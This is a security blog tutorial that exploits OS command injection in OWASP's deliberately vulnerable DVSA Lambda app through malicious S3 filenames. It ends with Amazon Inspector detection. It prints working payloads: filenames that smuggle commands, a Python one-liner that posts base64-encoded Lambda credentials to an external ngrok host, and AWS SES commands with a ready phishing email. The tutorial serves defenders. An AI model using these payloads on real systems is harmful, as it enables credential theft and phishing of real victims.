This is the fourth article in the Hacking AWS Lambda Functions series. Here are the links to all articles in the series:
- The first arcticle touches common AWS Lambda vulnerabilities and best practices to avoid them
- The second article applies the theory to concrete examples of vulnerable serverless applications.
- The third article highlights the importance of proper token validation in serverless architectures
- The fourth article demonstrates how a simple file upload feature connected to Amazon S3 can fully compromise AWS credentials and services
In this fourth installment of our AWS Lambda hacking series, we’re diving into a critical vulnerability that could give attackers control of your cloud infrastructure through event-driven mechanisms. While previous articles explored traditional web vulnerabilities in serverless contexts, today, we’ll demonstrate how a simple file upload feature connected to Amazon S3 can fully compromise AWS credentials and services.
This post will walk you through the following:
- Exploiting an OS command injection vulnerability via S3 bucket events
- Extracting AWS credentials from Lambda environments
- Understanding the severe impact of compromised cloud service permissions, particularly with AWS SES
- How proper configuration and scanning tools could prevent such attacks
Whether you’re a security professional, cloud architect, or developer working with serverless applications, this real-world example highlights critical security considerations when implementing event-driven architectures in AWS.
Event Injection - OS Command Injection via S3 bucket
The feedback form of the DVSA [1] has an interesting OS command injection vulnerability. It allows uploading a file to an S3 bucket with a filename (finally, a bucket key) that contains a Linux command that gets executed.

DVSA feedback form
When you press the “Send Feedback” button:
- The web client will upload your file into the Amazon S3 bucket with the naming convention “dvsa-feedback-bucket-
- ”. - File upload has been implemented with an S3 pre-signed URL generated by an AWS Lambda function named DVSA-FEEDBACK-UPLOADS.
- This S3 bucket has an event notification configured that triggers the same DVSA-FEEDBACK-UPLOADS function for event processing:

S3 bucket notification configuration
As a funny detail, the function code does have some input validation implemented, but it has been commented out:
def is_safe(s):
# if s.find(";") > -1 or s.find("'") > -1 or s.find("|") > -1:
# return False
return True
The Lambda function uses Python 3.8 runtime and has an IAM role named “serverlessrepo-OWASP-DVSA-FeedbackUploadFunctionRol-<postfix>” that has the following IAM policies:

Lambda function IAM Policies
The set is limited this time but still includes full access to Amazon S3, AWS Lambda, and Amazon Simple Email Service (SES).
Testing It Out
Let’s create a file containing a command that lists all Linux commands we can execute inside the Lambda runtime:
touch "cat.png;compgen -c | tr '\n' ' '"
This is not a cat picture but a new empty file. We are not interested in what happens to the file’s actual content. I’ve also piped the output to the tr (translate) command to replace line changes with spaces and make it a one-liner output. Fill out the feedback form, attach the new file, and send the form:

Maliciously named file uploaded successfully to S3
Let’s continue with the white box method and navigate to the CloudWatch Logs for the Lambda function. The log group is named: /aws/lambda/DVSA-FEEDBACK-UPLOADS. Indeed, we have an interesting log line in the latest log stream:

Lambda log output in CloudWatch Logs
Let’s stop our experiment here and talk about AWS Lambda runtimes for a while.
About AWS Lambda Runtimes
An AWS Lambda runtime is the environment that runs your function code. It consists of a language-specific environment built on Firecracker (lightweight virtual machine monitor), runtime API for function invocation, and AWS SDK for the specific language. At the time of writing, Python 3.8 runtime is already deprecated and is listed under deprecated runtimes on the official documentation page [2].
The page defines the operating systems of the runtimes. Amazon Linux 2 is used for older runtimes, like our Python 3.8, and Amazon Linux 2023 is used for the latest runtimes. AWS keeps the managed runtimes and their corresponding container base images up to date with patches:

Managed Lambda runtimes and their corresponding container base images
There’s also documentation about the package differences between these two operating systems [3]. I noticed that the package list does not fully match our listed commands. For example, curl no longer exists in the Amazon Linux 2 of the Python 3.8 runtime.
Refining The Injection
Ultimately, we are hunting for a way to get the AWS access keys again so that we can move outside the Lambda container and do whatever we want with AWS APIs. “Whatever” is naturally limited by the access policies that the IAM role provides. It’s annoying that the curl has been removed. It would be so easy to send the environmental variables outside with it.
Well, because we also have the python3 OS command available, maybe the easiest way is to inject some Python code into our OS command. I know this is not the most Linux way to do it, but it’s simple for the demonstration. Forward slashes are not supported in Linux file names, so we must juggle a little to make it executable. This is my version of the file name:
touch 'cat.png;python3 -c "import http.client,os,base64;conn=http.client.HTTPSConnection(\"my-address.ngrok-free.app\");conn.request(\"POST\",\"\",body=base64.b64encode(os.popen(\"env\").read().encode()));conn.getresponse()"'
Upload the file again with the form, and boom - we have a catch!

Lambda environment variables caught...
If we decode the message with:
echo "RkVFREJBQ0tf..." | base64 -d
Again, we have the AWS credentials to be used:

... and decoded into plain text
Let’s export the credentials:
export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
We can then call all Lambda functions in the account where DVSA runs with the AWS CLI command “aws lambda invoke.” In the code injection article, we used it to get order information and harvest user data.
Other attack vectors are related to Amazon Simple Email Service (SES). If this would be a real AWS production environment, and with SES not in a sandbox mode, we could use it for phishing and impersonation:
aws ses send-email \
--from "dvsa.noreply@1secmail.com" \
--to "victim@company.com" \
--text "URGENT: Your account has been compromised. Click this link immediately to secure your account: http://malicious-site.com/reset" \
--html "<h1>SECURITY ALERT</h1><p>Our system has detected unusual activity on your account.</p><p>Please <a href='http://malicious-site.com/reset'>click here</a> to verify your identity and secure your account immediately.</p><p>This link will expire in 30 minutes.</p><hr><small>IT Security Department</small>" \
--subject "URGENT: Security Alert - Action Required"
With full SES access, attackers could send this to thousands of employees or customers, potentially leading to significant credential compromise, data breaches, or ransomware infections. To discover all verified email addresses and domains, the attack could use:
aws ses list-identities
For spamming, something like this could be used:
aws ses send-bulk-templated-email \
--source "marketing@yourdomain.com" \
--template "SpamTemplate" \
--destinations file://large-recipient-list.json
Company emails could be forwarded to external addresses with receipt rules, email infrastructure damaged by deleting resources and identities, email authentication settings changed, etc.
Does Amazon Inspector Notice Anything?
I tested out Amazon Inspector again, with Lambda code scanning, and if it can notice the vulnerability. And yes, we have some results:

Amazon Inspector detecting the issues
Four High severity findings. We have OS command injection listed, but also SQL injection vulnerabilities. All the findings are code vulnerabilities, and they were found thanks to Lambda code scanning, which was enabled. This time, the problem is in our code, not in the included libraries:

Injection vulnerabilities detected
Not all of these findings are directly relevant to our use case because the lambda code has been implemented as a larger Python module (SQL injection deserves its blog post). Our handler function is located under feedback_uploads.py, and yes, one of the OS command injection findings is pointing its finger at this file:

Amazon Inspector finding pointing at our Lambda function
The inspector has nicely marked the location in the code and also provided a suggested remediation:

Inspector pointing at vulnerable code segment and providing a suggested remediation
So, this incident would have been prevented with vulnerability scanning before the code ended up in production.
Conclusion
This vulnerability warrants a critical classification rather than a high due to its potential for exposing AWS credentials and sensitive data to the public Internet alongside dangerous email attack vectors. With vulnerability reports increasing sixfold over the past decade (National Cyber Security Centre Finland, 2025) and patch windows shrinking from months to mere days, organizations must maintain constant update readiness and regularly audit internet-exposed services [4].
Email continues to be the primary entry point for cyberattacks across organizations. The evolution from basic phishing to sophisticated impersonation attacks reflects threat actors' adaptive tactics. Particularly concerning is the rise of spear phishing, where attackers conduct detailed research on specific targets, creating highly personalized messages that appear authentic. By harvesting information from social media, professional networks, and organizational knowledge, these targeted attacks create contextually relevant communications that even security-conscious employees struggle to identify as fraudulent.
The most dangerous aspect of email-based attacks is their ability to exploit human psychology rather than technical vulnerabilities. When attackers demonstrate intimate knowledge of internal projects, hierarchies, or business developments, they create a false sense of security that can compromise even vigilant organizations—allowing a single convincing message to bypass millions invested in security infrastructure.
AI assistants have been used to help translate and summarize the blog article text and code examples.
References
[1] OWASP / a Damn Vulnerable Serverless Application: https://github.com/OWASP/DVSA
[2] AWS Lambda Runtimes: https://docs.aws.amazon.com/lambda/latest/dg/lambda-runtimes.html
[3] Amazon Linux 2023, Comparing packages installed on Amazon Linux 2 and Amazon Linux 2023 Minimal AMIs: https://docs.aws.amazon.com/linux/al2023/ug/amzn2-al2023-minimal-ami.html
[4] National Cyber Security Center Finland, Cyber Weather January 2025: https://www.kyberturvallisuuskeskus.fi/sites/default/files/media/file/Kybers%C3%A4%C3%A4%20tammikuu%202025.pdf